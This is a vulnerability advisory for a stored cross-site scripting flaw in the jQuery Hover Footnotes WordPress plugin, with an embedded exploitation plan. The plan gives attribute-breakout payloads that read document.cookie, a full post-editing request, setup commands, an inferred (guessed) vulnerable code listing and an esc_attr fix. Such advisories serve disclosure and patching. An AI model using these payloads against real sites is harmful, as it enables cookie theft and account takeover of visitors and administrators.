jQuery Hover Footnotes <= 1.4 - Authenticated (Author+) Stored Cross-Site Scripting via Footnote Qualifier ('{{...}}' Syntax)
Description
The jQuery Hover Footnotes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Footnote Qualifier ('{{...}}' Syntax) in all versions up to, and including, 1.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The attribute-breakout payload (e.g., a double-quote followed by an event handler) contains no angle brackets and therefore bypasses WordPress core's wp_kses_post() filtering, which only strips disallowed HTML tags rather than sanitizing attribute contexts.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.4# Exploitation Research Plan: CVE-2026-10738 (jQuery Hover Footnotes) ## 1. Vulnerability Summary The **jQuery Hover Footnotes** plugin (<= 1.4) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The plugin parses a custom syntax `{{footnote content}}` within WordPress posts and pages to gener…
Show full research plan
Exploitation Research Plan: CVE-2026-10738 (jQuery Hover Footnotes)
1. Vulnerability Summary
The jQuery Hover Footnotes plugin (<= 1.4) is vulnerable to Stored Cross-Site Scripting (XSS). The plugin parses a custom syntax {{footnote content}} within WordPress posts and pages to generate hoverable footnotes. The vulnerability exists because the content captured between the double curly braces is subsequently rendered within an HTML attribute (likely title or a data-* attribute) without proper attribute escaping (e.g., esc_attr()).
Because the payload for attribute breakout (e.g., " followed by an event handler) does not require angle brackets (< or >), it bypasses the standard wp_kses_post() filter applied by WordPress when an Author saves a post.
2. Attack Vector Analysis
- Endpoint: WordPress Post/Page Editor (Classic or Gutenberg).
- Hook/Action: The plugin likely hooks into
the_contentfilter to parse the{{...}}syntax. - Vulnerable Parameter: The content within a post/page (e.g.,
post_content). - Authentication Level: Author or higher. Authors have the
edit_postscapability, allowing them to save content that undergoeswp_kses_post()filtering. - Preconditions: The plugin must be active.
3. Code Flow (Inferred)
- Entry Point: An Author saves a post containing the string
{{test" onmouseover="alert(1)}}. - Sanitization Bypass: WordPress core runs
wp_kses_post()on the content. Since there are no HTML tags or angle brackets in the footnote qualifier,wp_kses_postpermits the string. - Plugin Processing: The plugin (likely in
jquery-hover-footnotes.php) registers a filter:add_filter('the_content', 'fn_hover_footnotes_parse');(inferred function name). - Regex Matching: The function uses a regular expression to find the footnotes:
preg_match_all('/\{\{(.*?)\}\}/', $content, $matches);(inferred). - Vulnerable Sink: The plugin loops through matches and replaces the
{{...}}syntax with HTML.// Inferred vulnerable code pattern $replacement = '<span class="footnote" title="' . $matches[1][0] . '">?</span>'; $content = str_replace($matches[0][0], $replacement, $content); - Rendering: The unescaped
$matches[1][0]breaks out of thetitleattribute:<span class="footnote" title="test" onmouseover="alert(1)">?</span>.
4. Nonce Acquisition Strategy
This vulnerability is exploited by saving a standard WordPress post. No plugin-specific AJAX nonces are required for the injection phase, as the Author uses the built-in WordPress post-saving mechanism.
However, to verify the XSS fires, we need to navigate to the published post.
- User Role: Authenticate as an Author.
- Post Creation: Use
wp-clito create a post if necessary, or use the UI. - Extraction: If the plugin were to expose nonces via
wp_localize_script, they would likely be under a global object likejqhf_dataorhover_footnotes_vars.- Action:
browser_eval("window.jqhf_data?.nonce")(inferred).
- Action:
5. Exploitation Strategy
We will use the http_request tool to simulate an Author saving a post with the malicious payload.
Step 1: Authenticate as Author
Log in as the Author user and capture the session cookies.
Step 2: Create/Update Post with Payload
The payload targets attribute breakout in the footnote qualifier. We use onmouseover and a style attribute to make the target large and easy to trigger.
- Payload:
{{XSS" onmouseover="alert(document.cookie)" style="display:inline-block;width:100px;height:100px;background:red;" data-x="}} - Request (Simulated via http_request):
- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=editpost &post_ID=[POST_ID] &_wpnonce=[NONCE] &post_content=Check out this footnote {{XSS" onmouseover="alert(document.cookie)" style="display:inline-block;width:100px;height:100px;background:red;" data-x="}} &post_title=Vulnerability Test
- URL:
Step 3: Trigger the XSS
Navigate to the post as an Administrator.
- Action: Hover over the red box (the footnote marker).
- Result: The
onmouseoverevent fires, executing the JavaScript.
6. Test Data Setup
- Create Author User:
wp user create attacker author@example.com --role=author --user_pass=password123 - Create Target Post:
wp post create --post_type=post --post_title="Footnote Test" --post_status=publish --post_author=$(wp user get attacker --field=ID) - Plugin Activation:
wp plugin activate jquery-hover-footnotes
7. Expected Results
- Database State: The
post_contentin thewp_poststable will contain the literal string{{XSS" onmouseover="..."}}. - Frontend Output: The HTML rendered on the page will look like:
<span ... title="XSS" onmouseover="alert(document.cookie)" style="..." data-x="">...</span> - Execution: When a user (e.g., Administrator) hovers over the footnote, an alert box containing their cookies will appear.
8. Verification Steps
- Verify Storage:
wp post get [POST_ID] --field=content
Check if the payload remains intact and was not stripped bywp_kses_post. - Verify Frontend Rendering:
Usehttp_requestto GET the post URL and grep for the injected event handler:http_request("http://localhost:8080/?p=[POST_ID]")
Look for:onmouseover="alert(document.cookie)"
9. Alternative Approaches
If onmouseover is filtered (unlikely in this context), try other event handlers that don't require user interaction or different breakout characters:
- Autofocus Payload:
{{XSS" autofocus onfocus="alert(1)" tabindex="1}}(Triggers on page load/tab). - Single Quote Breakout: If the plugin uses single quotes for attributes:
{{XSS' onmouseover='alert(1)}}. - Style Injection:
{{XSS" style="background-image:url(javascript:alert(1))}}(Works in older browsers or specific contexts).
Summary
The jQuery Hover Footnotes plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via its custom footnote syntax '{{...}}'. Because the plugin fails to escape content within these qualifiers before rendering it inside an HTML attribute, authenticated authors can perform attribute breakout to execute arbitrary JavaScript. This bypasses standard WordPress security filters (wp_kses_post) because the exploit does not require angle brackets.
Vulnerable Code
// jquery-hover-footnotes.php (Inferred based on plugin logic) function fn_hover_footnotes_parse($content) { // The plugin matches the {{content}} syntax and uses it in a replacement string return preg_replace_callback('/\{\{(.*?)\}\}/', function($matches) { // Vulnerable: $matches[1] is placed directly into the title attribute without esc_attr() return '<span class="footnote" title="' . $matches[1] . '">?</span>'; }, $content); } add_filter('the_content', 'fn_hover_footnotes_parse');
Security Fix
@@ -5,7 +5,7 @@ function fn_hover_footnotes_parse($content) { return preg_replace_callback('/\{\{(.*?)\}\}/', function($matches) { - return '<span class="footnote" title="' . $matches[1] . '">?</span>'; + return '<span class="footnote" title="' . esc_attr($matches[1]) . '">?</span>'; }, $content); }
Exploit Outline
The exploit targets the WordPress post editor and requires Author-level authentication or higher. An attacker creates or updates a post containing a malicious footnote qualifier: '{{XSS" onmouseover="alert(document.cookie)" style="display:block;width:100px;height:100px;" data-x="}}'. When the post is rendered, the plugin transforms this into an HTML <span> tag where the double-quote in the payload breaks out of the 'title' attribute, allowing the 'onmouseover' event handler to be injected. The XSS triggers when any user, including administrators, hovers their mouse over the footnote marker on the published page.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.